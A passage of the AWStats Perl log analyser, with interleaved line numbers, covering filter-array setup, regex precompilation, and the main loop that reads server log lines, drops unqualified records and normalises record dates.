                                  . " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",
 
17363
                                2
 
17364
                        );
 
17365
                }
 
17366
        }
 
17367
        if ($Debug) {
 
17368
                debug(
 
17369
                        "SearchEnginesSearchIDOrder has now "
 
17370
                          . @SearchEnginesSearchIDOrder
 
17371
                          . " elements",
 
17372
                        1
 
17373
                );
 
17374
        }
 
17375
 
 
17376
        # Complete HostAliases array
 
17377
        my $sitetoanalyze = quotemeta( lc($SiteDomain) );
 
17378
        if ( !@HostAliases ) {
 
17379
                warning(
 
17380
"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
 
17381
                );
 
17382
                push @HostAliases, qr/^$sitetoanalyze$/i;
 
17383
                push @HostAliases, qr/^localhost$/i;
 
17384
                push @HostAliases, qr/^127\.0\.0\.1$/i;
 
17385
        }
 
17386
        else {
 
17387
                unshift @HostAliases, qr/^$sitetoanalyze$/i;
 
17388
        }    # Add SiteDomain as first value
 
17389
 
 
17390
        # Optimize arrays
 
17391
        @HostAliases = &OptimizeArray( \@HostAliases, 1 );
 
17392
        if ($Debug) {
 
17393
                debug( "HostAliases precompiled regex list is now @HostAliases", 1 );
 
17394
        }
 
17395
        @SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
 
17396
        if ($Debug) {
 
17397
                debug(
 
17398
                        "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
 
17399
                        1
 
17400
                );
 
17401
        }
 
17402
        @SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
 
17403
        if ($Debug) {
 
17404
                debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 );
 
17405
        }
 
17406
        @SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
 
17407
        if ($Debug) {
 
17408
                debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
 
17409
                        1 );
 
17410
        }
 
17411
        @SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
 
17412
        if ($Debug) {
 
17413
                debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
 
17414
                        1 );
 
17415
        }
 
17416
        @SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
 
17417
        if ($Debug) {
 
17418
                debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 );
 
17419
        }
 
17420
        @OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 );
 
17421
        if ($Debug) {
 
17422
                debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 );
 
17423
        }
 
17424
        @OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 );
 
17425
        if ($Debug) {
 
17426
                debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 );
 
17427
        }
 
17428
        @OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
 
17429
        if ($Debug) {
 
17430
                debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
 
17431
                        1 );
 
17432
        }
 
17433
        @OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
 
17434
        if ($Debug) {
 
17435
                debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 );
 
17436
        }
 
17437
        @NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive );
 
17438
        if ($Debug) {
 
17439
                debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 );
 
17440
        }
 
17441
 
 
17442
        # Precompile the regex search strings with qr
 
17443
        @RobotsSearchIDOrder        = map { qr/$_/i } @RobotsSearchIDOrder;
 
17444
        @WormsSearchIDOrder         = map { qr/$_/i } @WormsSearchIDOrder;
 
17445
        @BrowsersSearchIDOrder      = map { qr/$_/i } @BrowsersSearchIDOrder;
 
17446
        @OSSearchIDOrder            = map { qr/$_/i } @OSSearchIDOrder;
 
17447
        @SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder;
 
17448
        my $miscquoted     = quotemeta("$MiscTrackerUrl");
 
17449
        my $defquoted      = quotemeta("/$DefaultFile[0]");
 
17450
        my $sitewithoutwww = lc($SiteDomain);
 
17451
        $sitewithoutwww =~ s/www\.//;
 
17452
        $sitewithoutwww = quotemeta($sitewithoutwww);
 
17453
 
 
17454
        # Define precompiled regex
 
17455
        my $regmisc        = qr/^$miscquoted/;
 
17456
        my $regfavico      = qr/\/favicon\.ico$/i;
 
17457
        my $regrobot       = qr/\/robots\.txt$/i;
 
17458
        my $regtruncanchor = qr/#(\w*)$/;
 
17459
        my $regtruncurl    = qr/([$URLQuerySeparators])(.*)$/;
 
17460
        my $regext         = qr/\.(\w{1,6})$/;
 
17461
        my $regdefault;
 
17462
        if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
 
17463
        else { $regdefault = qr/$defquoted$/; }
 
17464
        my $regipv4           = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
 
17465
        my $regipv4l          = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
 
17466
        my $regipv6           = qr/^[0-9A-F]*:/i;
 
17467
        my $regvermsie        = qr/msie([+_ ]|)([\d\.]*)/i;
 
17468
        my $regvernetscape    = qr/netscape.?\/([\d\.]*)/i;
 
17469
        my $regverfirefox     = qr/firefox\/([\d\.]*)/i;
 
17470
        my $regveropera       = qr/opera\/([\d\.]*)/i;
 
17471
        my $regversafari      = qr/safari\/([\d\.]*)/i;
 
17472
        my $regversafariver   = qr/version\/([\d\.]*)/i;
 
17473
        my $regverchrome      = qr/chrome\/([\d\.]*)/i;
 
17474
        my $regverkonqueror   = qr/konqueror\/([\d\.]*)/i;
 
17475
        my $regversvn         = qr/svn\/([\d\.]*)/i;
 
17476
        my $regvermozilla     = qr/mozilla(\/|)([\d\.]*)/i;
 
17477
        my $regnotie          = qr/webtv|omniweb|opera/i;
 
17478
        my $regnotnetscape    = qr/gecko|compatible|opera|galeon|safari|charon/i;
 
17479
        my $regnotfirefox     = qr/flock/i;
 
17480
        my $regnotsafari      = qr/android|arora|chrome|shiira/i;
 
17481
        my $regreferer        = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
 
17482
        my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
 
17483
        my $reglocal          = qr/^(www\.|)$sitewithoutwww/i;
 
17484
        my $regget            = qr/get|out/i;
 
17485
        my $regsent           = qr/sent|put|in/i;
 
17486
 
 
17487
        # Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
 
17488
        &DefinePerlParsingFormat($LogFormat);
 
17489
 
 
17490
        # Load DNS Cache Files
 
17491
        #------------------------------------------
 
17492
        if ($DNSLookup) {
 
17493
                &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 )
 
17494
                  ; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
 
17495
                if ( $DNSLookup == 1 ) {    # System DNS lookup required
 
17496
                         #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
 
17497
                         #use Socket;
 
17498
                        &Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
 
17499
                                "$FileSuffix", 0 )
 
17500
                          ;    # Load with no save into a second plugin file. Use FileSuffix
 
17501
                }
 
17502
        }
 
17503
 
 
17504
        # Processing log
 
17505
        #------------------------------------------
 
17506
 
 
17507
        if ($EnableLockForUpdate) {
 
17508
 
 
17509
                # Trap signals to remove lock
 
17510
                $SIG{INT} = \&SigHandler;    # 2
 
17511
                                             #$SIG{KILL} = \&SigHandler;        # 9
 
17512
                                             #$SIG{TERM} = \&SigHandler;        # 15
 
17513
                                             # Set AWStats update lock
 
17514
                &Lock_Update(1);
 
17515
        }
 
17516
 
 
17517
        if ($Debug) {
 
17518
                debug("Start Update process (lastprocesseddate=$lastprocesseddate)");
 
17519
        }
 
17520
 
 
17521
        # Open log file
 
17522
        if ($Debug) { debug("Open log file \"$LogFile\""); }
 
17523
        open( LOG, "$LogFile" )
 
17524
          || error("Couldn't open server log file \"$LogFile\" : $!");
 
17525
        binmode LOG
 
17526
          ;   # Avoid premature EOF due to log files corrupted with \cZ or bin chars
 
17527
 
 
17528
        # Define local variables for loop scan
 
17529
        my @field               = ();
 
17530
        my $counterforflushtest = 0;
 
17531
        my $qualifdrop          = '';
 
17532
        my $countedtraffic      = 0;
 
17533
 
 
17534
        # Reset chrono for benchmark (first call to GetDelaySinceStart)
 
17535
        &GetDelaySinceStart(1);
 
17536
        if ( !scalar keys %HTMLOutput ) {
 
17537
                print "Phase 1 : First bypass old records, searching new record...\n";
 
17538
        }
 
17539
 
 
17540
        # Can we try a direct seek access in log ?
 
17541
        my $line;
 
17542
        if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum )
 
17543
        {
 
17544
 
 
17545
                # Try a direct seek access to save time
 
17546
                if ($Debug) {
 
17547
                        debug(
 
17548
"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
 
17549
                        );
 
17550
                }
 
17551
                seek( LOG, $LastLineOffset, 0 );
 
17552
                if ( $line = <LOG> ) {
 
17553
                        chomp $line;
 
17554
                        $line =~ s/\r$//;
 
17555
                        @field = map( /$PerlParsingFormat/, $line );
 
17556
                        if ($Debug) {
 
17557
                                my $string = '';
 
17558
                                foreach ( 0 .. @field - 1 ) {
 
17559
                                        $string .= "$fieldlib[$_]=$field[$_] ";
 
17560
                                }
 
17561
                                if ($Debug) {
 
17562
                                        debug( " Read line after direct access: $string", 1 );
 
17563
                                }
 
17564
                        }
 
17565
                        my $checksum = &CheckSum($line);
 
17566
                        if ($Debug) {
 
17567
                                debug(
 
17568
" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",
 
17569
                                        1
 
17570
                                );
 
17571
                        }
 
17572
                        if ( $checksum == $LastLineChecksum ) {
 
17573
                                if ( !scalar keys %HTMLOutput ) {
 
17574
                                        print
 
17575
"Direct access after last parsed record (after line $LastLineNumber)\n";
 
17576
                                }
 
17577
                                $lastlinenb         = $LastLineNumber;
 
17578
                                $lastlineoffset     = $LastLineOffset;
 
17579
                                $lastlineoffsetnext = tell LOG;
 
17580
                                $NewLinePhase       = 1;
 
17581
                        }
 
17582
                        else {
 
17583
                                if ( !scalar keys %HTMLOutput ) {
 
17584
                                        print
 
17585
"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n";
 
17586
                                }
 
17587
                                $lastlinenb         = 0;
 
17588
                                $lastlineoffset     = 0;
 
17589
                                $lastlineoffsetnext = 0;
 
17590
                                seek( LOG, 0, 0 );
 
17591
                        }
 
17592
                }
 
17593
                else {
 
17594
                        if ( !scalar keys %HTMLOutput ) {
 
17595
                                print
 
17596
"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n";
 
17597
                        }
 
17598
                        $lastlinenb         = 0;
 
17599
                        $lastlineoffset     = 0;
 
17600
                        $lastlineoffsetnext = 0;
 
17601
                        seek( LOG, 0, 0 );
 
17602
                }
 
17603
        }
 
17604
        else {
 
17605
 
 
17606
                # No try of direct seek access
 
17607
                if ( !scalar keys %HTMLOutput ) {
 
17608
                        print "Searching new records from beginning of log file...\n";
 
17609
                }
 
17610
                $lastlinenb         = 0;
 
17611
                $lastlineoffset     = 0;
 
17612
                $lastlineoffsetnext = 0;
 
17613
        }
 
17614
 
 
17615
        #
 
17616
        # Loop on each log line
 
17617
        #
 
17618
        while ( $line = <LOG> ) {
 
17619
                
 
17620
                # 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code
 
17621
                my $FirstHexChar;
 
17622
                $FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) );
 
17623
                if ( $FirstHexChar eq '00' ) {
 
17624
                        $NbOfLinesCorrupted++;
 
17625
                        if ($ShowCorrupted) {
 
17626
                                print "Corrupted record line "
 
17627
                                  . ( $lastlinenb + $NbOfLinesParsed )
 
17628
                                  . " (record starts with hex 00; binary code): $line\n";
 
17629
                        }
 
17630
                        if (   $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
 
17631
                                && $NbOfLinesParsed == $NbOfLinesCorrupted )
 
17632
                        {
 
17633
                                error( "Format error", $line, $LogFile );
 
17634
                        }    # Exit with format error
 
17635
                        next;
 
17636
                }
 
17637
                # 20080525 END
 
17638
 
 
17639
                chomp $line;
 
17640
                $line =~ s/\r$//;
 
17641
                if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; }
 
17642
                $NbOfLinesParsed++;
 
17643
 
 
17644
                $lastlineoffset     = $lastlineoffsetnext;
 
17645
                $lastlineoffsetnext = tell LOG;
 
17646
 
 
17647
                if ($ShowSteps) {
 
17648
                        if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) {
 
17649
                                my $delay = &GetDelaySinceStart(0);
 
17650
                                print "$NbOfLinesParsed lines processed ("
 
17651
                                  . ( $delay > 0 ? $delay : 1000 ) . " ms, "
 
17652
                                  . int(
 
17653
                                        1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
 
17654
                                  )
 
17655
                                  . " lines/second)\n";
 
17656
                        }
 
17657
                }
 
17658
 
 
17659
                if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) {
 
17660
                        my @fixField = map( /^#Fields: (.*)/, $line );
 
17661
                        if ( $fixField[0] !~ /s-kernel-time/ ) {
 
17662
                                debug( "Found new log format: '" . $fixField[0] . "'", 1 );
 
17663
                                &DefinePerlParsingFormat( $fixField[0] );
 
17664
                        }
 
17665
                }
 
17666
 
 
17667
                # Parse line record to get all required fields
 
17668
                if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) {
 
17669
                        # see if the line is a comment, blank or corrupted
 
17670
                        if ( $line =~ /^#/ || $line =~ /^!/ ) {
 
17671
                                $NbOfLinesComment++;
 
17672
                                if ($ShowCorrupted){
 
17673
                                        print "Comment record line "
 
17674
                                          . ( $lastlinenb + $NbOfLinesParsed )
 
17675
                                          . ": $line\n";
 
17676
                                }
 
17677
                        }
 
17678
                        elsif ( $line =~ /^\s*$/ ) {
 
17679
                                $NbOfLinesBlank++;
 
17680
                                if ($ShowCorrupted){
 
17681
                                        print "Blank record line "
 
17682
                                          . ( $lastlinenb + $NbOfLinesParsed )
 
17683
                                          . "\n";
 
17684
                                }
 
17685
                        }else{
 
17686
                                $NbOfLinesCorrupted++;
 
17687
                                if ($ShowCorrupted){
 
17688
                                print "Corrupted record line "
 
17689
                                          . ( $lastlinenb + $NbOfLinesParsed )
 
17690
                                          . " (record format does not match LogFormat parameter): $line\n";
 
17691
                                }
 
17692
                        }
 
17693
                        if (   $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
 
17694
                                && $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank))
 
17695
                        {
 
17696
                                error( "Format error", $line, $LogFile );
 
17697
                        }    # Exit with format error
 
17698
                        if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only
 
17699
                        next;
 
17700
                }
 
17701
 
 
17702
                if ($Debug) {
 
17703
                        my $string = '';
 
17704
                        foreach ( 0 .. @field - 1 ) {
 
17705
                                $string .= "$fieldlib[$_]=$field[$_] ";
 
17706
                        }
 
17707
                        if ($Debug) {
 
17708
                                debug(
 
17709
                                        " Correct format line "
 
17710
                                          . ( $lastlinenb + $NbOfLinesParsed )
 
17711
                                          . ": $string",
 
17712
                                        4
 
17713
                                );
 
17714
                        }
 
17715
                }
 
17716
 
 
17717
                # Drop wrong virtual host name
 
17718
                #----------------------------------------------------------------------
 
17719
                if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) {
 
17720
                        my $skip = 1;
 
17721
                        foreach (@HostAliases) {
 
17722
                                if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; }
 
17723
                        }
 
17724
                        if ($skip) {
 
17725
                                $NbOfLinesDropped++;
 
17726
                                if ($ShowDropped) {
 
17727
                                        print
 
17728
"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n";
 
17729
                                }
 
17730
                                next;
 
17731
                        }
 
17732
                }
 
17733
 
 
17734
                # Drop wrong method/protocol
 
17735
                #---------------------------
 
17736
                if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; }
 
17737
                if (
 
17738
                        $LogType eq 'W'
 
17739
                        && (
 
17740
                                   $field[$pos_method] eq 'GET'
 
17741
                                || $field[$pos_method] eq 'POST'
 
17742
                                || $field[$pos_method] eq 'HEAD'
 
17743
                                || $field[$pos_method] eq 'PROPFIND'
 
17744
                                || $field[$pos_method] eq 'CHECKOUT'
 
17745
                                || $field[$pos_method] eq 'LOCK'
 
17746
                                || $field[$pos_method] eq 'PROPPATCH'
 
17747
                                || $field[$pos_method] eq 'OPTIONS'
 
17748
                                || $field[$pos_method] eq 'MKACTIVITY'
 
17749
                                || $field[$pos_method] eq 'PUT'
 
17750
                                || $field[$pos_method] eq 'MERGE'
 
17751
                                || $field[$pos_method] eq 'DELETE'
 
17752
                                || $field[$pos_method] eq 'REPORT'
 
17753
                                || $field[$pos_method] eq 'MKCOL'
 
17754
                                || $field[$pos_method] eq 'COPY'
 
17755
                                || $field[$pos_method] eq 'RPC_IN_DATA'
 
17756
                                || $field[$pos_method] eq 'RPC_OUT_DATA'
 
17757
                                || $field[$pos_method] eq 'OK'             # Webstar
 
17758
                                || $field[$pos_method] eq 'ERR!'           # Webstar
 
17759
                                || $field[$pos_method] eq 'PRIV'           # Webstar
 
17760
                        )
 
17761
                  )
 
17762
                {
 
17763
 
 
17764
# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
 
17765
                }
 
17766
                elsif (
 
17767
                        ( $LogType eq 'W' || $LogType eq 'S' )
 
17768
                        && (   uc($field[$pos_method]) eq 'GET'
 
17769
                                || uc($field[$pos_method]) eq 'MMS'
 
17770
                                || uc($field[$pos_method]) eq 'RTSP'
 
17771
                                || uc($field[$pos_method]) eq 'HTTP'
 
17772
                                || uc($field[$pos_method]) eq 'RTP' )
 
17773
                  )
 
17774
                {
 
17775
 
 
17776
# Streaming request (windows media server, realmedia or darwin streaming server)
 
17777
                }
 
17778
                elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) {
 
17779
 
 
17780
                # Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
 
17781
                }
 
17782
                elsif (
 
17783
                        $LogType eq 'F'
 
17784
                        && (   $field[$pos_method] eq 'RETR'
 
17785
                                || $field[$pos_method] eq 'o'
 
17786
                                || $field[$pos_method] =~ /$regget/o )
 
17787
                  )
 
17788
                {
 
17789
 
 
17790
                        # FTP GET request
 
17791
                }
 
17792
                elsif (
 
17793
                        $LogType eq 'F'
 
17794
                        && (   $field[$pos_method] eq 'STOR'
 
17795
                                || $field[$pos_method] eq 'i'
 
17796
                                || $field[$pos_method] =~ /$regsent/o )
 
17797
                  )
 
17798
                {
 
17799
 
 
17800
                        # FTP SENT request
 
17801
                }
 
17802
                elsif($line =~ m/#Fields:/){
 
17803
                        # log #fields as comment
 
17804
                        $NbOfLinesComment++;
 
17805
                        next;                   
 
17806
                }else{
 
17807
                        $NbOfLinesDropped++;
 
17808
                        if ($ShowDropped) {
 
17809
                                print
 
17810
"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n";
 
17811
                        }
 
17812
                        next;
 
17813
                }
 
17814
 
 
17815
                $field[$pos_date] =~
 
17816
                  tr/,-\/ \t/:::::/s;  # " \t" is used instead of "\s" not known with tr
 
17817
                my @dateparts =
 
17818
                  split( /:/, $field[$pos_date] )
 
17819
                  ; # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
 
17820
                 # Detected date format: dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
 
17821
                 # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS
 
17822
                if ( !$dateparts[1] ) {    # Unix timestamp
 
17823
                        (
 
17824
                                $dateparts[5], $dateparts[4], $dateparts[3],
 
17825
                                $dateparts[0], $dateparts[1], $dateparts[2]
 
17826
                          )
 
17827
                          = localtime( int( $field[$pos_date] ) );
 
17828
                        $dateparts[1]++;
 
17829
                        $dateparts[2] += 1900;
 
17830
                }
 
17831
                elsif ( $dateparts[0] =~ /^....$/ ) {
 
17832
                        my $tmp = $dateparts[0];
 
17833
                        $dateparts[0] = $dateparts[2];
 
17834
                        $dateparts[2] = $tmp;
 
17835
                }
 
17836
                elsif ( $field[$pos_date] =~ /^..:..:..:/ ) {
 
17837
                        $dateparts[2] += 2000;
 
17838
                        my $tmp = $dateparts[0];
 
17839
                        $dateparts[0] = $dateparts[1];
 
17840
                        $dateparts[1] = $tmp;
 
17841
                }
 
17842
                elsif ( $dateparts[0] =~ /^...$/ ) {
 
17843
                        my $tmp = $dateparts[0];
 
17844
                        $dateparts[0] = $dateparts[1];
 
17845
                        $dateparts[1] = $tmp;
 
17846
                        $tmp          = $dateparts[5];
 
17847
                        $dateparts[5] = $dateparts[4];
 
17848
                        $dateparts[4] = $dateparts[3];
 
17849
                        $dateparts[3] = $dateparts[2];
 
17850
                        $dateparts[2] = $tmp || $nowyear;
 
17851
                }
 
17852
                if ( exists( $MonthNum{ $dateparts[1] } ) ) {
 
17853
                        $dateparts[1] = $MonthNum{ $dateparts[1] };
 
17854
                }    # Change lib month in num month if necessary
 
17855
                if ( $dateparts[1] <= 0 )
 
17856
                { # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
 
17857
                        $NbOfLinesCorrupted++;
 
17858
                        if ($ShowCorrupted) {
 
17859
                                print "Corrupted record line "
 
17860
                                  . ( $lastlinenb + $NbOfLinesParsed )
 
17861
                                  . " (bad date format for month, may be month are not in english ?): $line\n";
 
17862
                        }
 
17863
                        next;
 
17864
                }
 
17865
 
 
17866
# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
 
17867
                if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) {
 
17868
                        @dateparts = ChangeTime_timezone( \@dateparts );
 
17869
                }
 
17870
                my $yearrecord  = int( $dateparts[2] );
 
17871
                my $monthrecord = int( $dateparts[1] );
 
17872
                my $dayrecord   = int( $dateparts[0] );
 
17873
                my $hourrecord  = int( $dateparts[3] );
 
17874
                my $daterecord  = '';
 
17875
                if ( $DatabaseBreak eq 'month' ) {
 
17876
                        $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
 
17877
                }
 
17878
                elsif ( $DatabaseBreak eq 'year' ) {
 
17879
                        $daterecord = sprintf( "%04i%", $yearrecord );
 
17880
                }
 
17881
                elsif ( $DatabaseBreak eq 'day' ) {
 
17882
                        $daterecord =
 
17883
                          sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
 
17884
                }
 
17885
                elsif ( $DatabaseBreak eq 'hour' ) {
 
17886
                        $daterecord = sprintf( "%04i%02i%02i%02i",
 
17887
                                $yearrecord, $monthrecord, $dayrecord, $hourrecord );
 
17888
                }
 
17889
 
 
17890
                # TODO essayer de virer yearmonthrecord
 
17891
                my $yearmonthdayrecord =
 
17892
                  sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
 
17893
                my $timerecord =
 
17894
                  ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
 
17895
                          $dateparts[4] ) * 100 + $dateparts[5];
 
17896
 
 
17897
                # Check date
 
17898
                #-----------------------
 
17899
                if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) {
 
17900
 
 
17901
# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
 
17902
                        $yearrecord--;
 
17903
                        if ( $DatabaseBreak eq 'month' ) {
 
17904
                                $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
 
17905
                        }
 
17906
                        elsif ( $DatabaseBreak eq 'year' ) {
 
17907
                                $daterecord = sprintf( "%04i%", $yearrecord );
 
17908
                        }
 
17909
                        elsif ( $DatabaseBreak eq 'day' ) {
 
17910
                                $daterecord = sprintf( "%04i%02i%02i",
 
17911
                                        $yearrecord, $monthrecord, $dayrecord );
 
17912
                        }
 
17913
                        elsif ( $DatabaseBreak eq 'hour' ) {
 
17914
                                $daterecord = sprintf( "%04i%02i%02i%02i",
 
17915
                                        $yearrecord, $monthrecord, $dayrecord, $hourrecord );
 
17916
                        }
 
17917
 
 
17918
                        # TODO essayer de virer yearmonthrecord
 
17919
                        $yearmonthdayrecord =
 
17920
                          sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
 
17921
                        $timerecord =
 
17922
                          ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
 
17923
                                  $dateparts[4] ) * 100 + $dateparts[5];
 
17924
                }
 
17925
                if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
 
17926
                        $NbOfLinesCorrupted++;
 
17927
                        if ($ShowCorrupted) {
 
17928
                                print
 
17929
"Corrupted record (invalid date, timerecord=$timerecord): $line\n";
 
17930
                        }
 
17931
                        next;   # Should not happen, kept in case of parasite/corrupted line
 
17932
                }
 
17933
                if ($NewLinePhase) {
 
17934
 
 
17935
                        # TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
 
17936
                        if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) {
 
17937
 
 
17938
                                # Should not happen, kept in case of parasite/corrupted old line
 
17939
                                $NbOfLinesCorrupted++;
 
17940
                                if ($ShowCorrupted) {
 
17941
                                        print
 
17942
"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n";
 
17943
                                }
 
17944
                                next;
 
17945
                        }
 
17946
                }
 
17947
                else {
 
17948
                        if ( $timerecord <= $LastLine ) {    # Already processed
 
17949
                                $NbOfOldLines++;
 
17950
                                next;
 
17951
                        }
 
17952
 
 
17953
# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
 
17954
                        $NewLinePhase = 1;    # We will never enter here again
 
17955
                        if ($ShowSteps) {
 
17956
                                if ( $NbOfLinesShowsteps > 1
 
17957
                                        && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
 
17958
                                {
 
17959
                                        my $delay = &GetDelaySinceStart(0);
 
17960
                                        print ""
 
17961
                                          . ( $NbOfLinesParsed - 1 )
 
17962
                                          . " lines processed ("
 
17963
                                          . ( $delay > 0 ? $delay : 1000 ) . " ms, "
 
17964
                                          . int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
 
17965
                                                  ( $delay > 0 ? $delay : 1000 ) )
 
17966
                                          . " lines/second)\n";
 
17967
                                }
 
17968
                                &GetDelaySinceStart(1);
 
17969
                                $NbOfLinesShowsteps = 1;
 
17970
                        }
 
17971
                        if ( !scalar keys %HTMLOutput ) {
 
17972
                                print
 
17973
"Phase 2 : Now process new records (Flush history on disk after "
 
17974
                                  . ( $LIMITFLUSH << 2 )
 
17975
                                  . " hosts)...\n";
 
17976
 
 
17977
#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
 
17978
                        }
 
17979
                }
 
17980
 
 
17981
                # Convert URL for Webstar to common URL
 
17982
                if ( $LogFormat eq '3' ) {
 
17983
                        $field[$pos_url] =~ s/:/\//g;
 
17984
                        if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; }
 
17985
                }
 
17986
 
 
17987
# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
 
17988
                if ($Debug) {
 
17989
                        debug( "  This is a not already processed record ($timerecord)",
 
17990
                                4 );
 
17991
                }
 
17992
 
 
17993
                # We found a new line
 
17994
                #----------------------------------------
 
17995
                if ( $timerecord > $LastLine ) {
 
17996
                        $LastLine = $timerecord;
 
17997
                }    # Test should always be true except with not sorted log files
 
17998
 
 
17999
                # Skip for some client host IP addresses, some URLs, other URLs
 
18000
                if (
 
18001
                        @SkipHosts
 
18002
                        && ( &SkipHost( $field[$pos_host] )
 
18003
                                || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
 
18004
                  )
 
18005
                {
 
18006
                        $qualifdrop =
 
18007
                            "Dropped record (host $field[$pos_host]"
 
18008
                          . ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
 
18009
                          . " not qualified by SkipHosts)";
 
18010
                }
 
18011
                elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) {
 
18012
                        $qualifdrop =
 
18013
"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
 
18014
                }
 
18015
                elsif (@SkipUserAgents
 
18016
                        && $pos_agent >= 0
 
18017
                        && &SkipUserAgent( $field[$pos_agent] ) )
 
18018
                {
 
18019
                        $qualifdrop =
 
18020
"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
 
18021
                }
 
18022
                elsif (@SkipReferrers
 
18023
                        && $pos_referer >= 0
 
18024
                        && &SkipReferrer( $field[$pos_referer] ) )
 
18025
                {
 
18026
                        $qualifdrop =
 
18027
"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
 
18028
                }
 
18029
                elsif (@OnlyHosts
 
18030
                        && !&OnlyHost( $field[$pos_host] )
 
18031
                        && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
 
18032
                {
 
18033
                        $qualifdrop =
 
18034
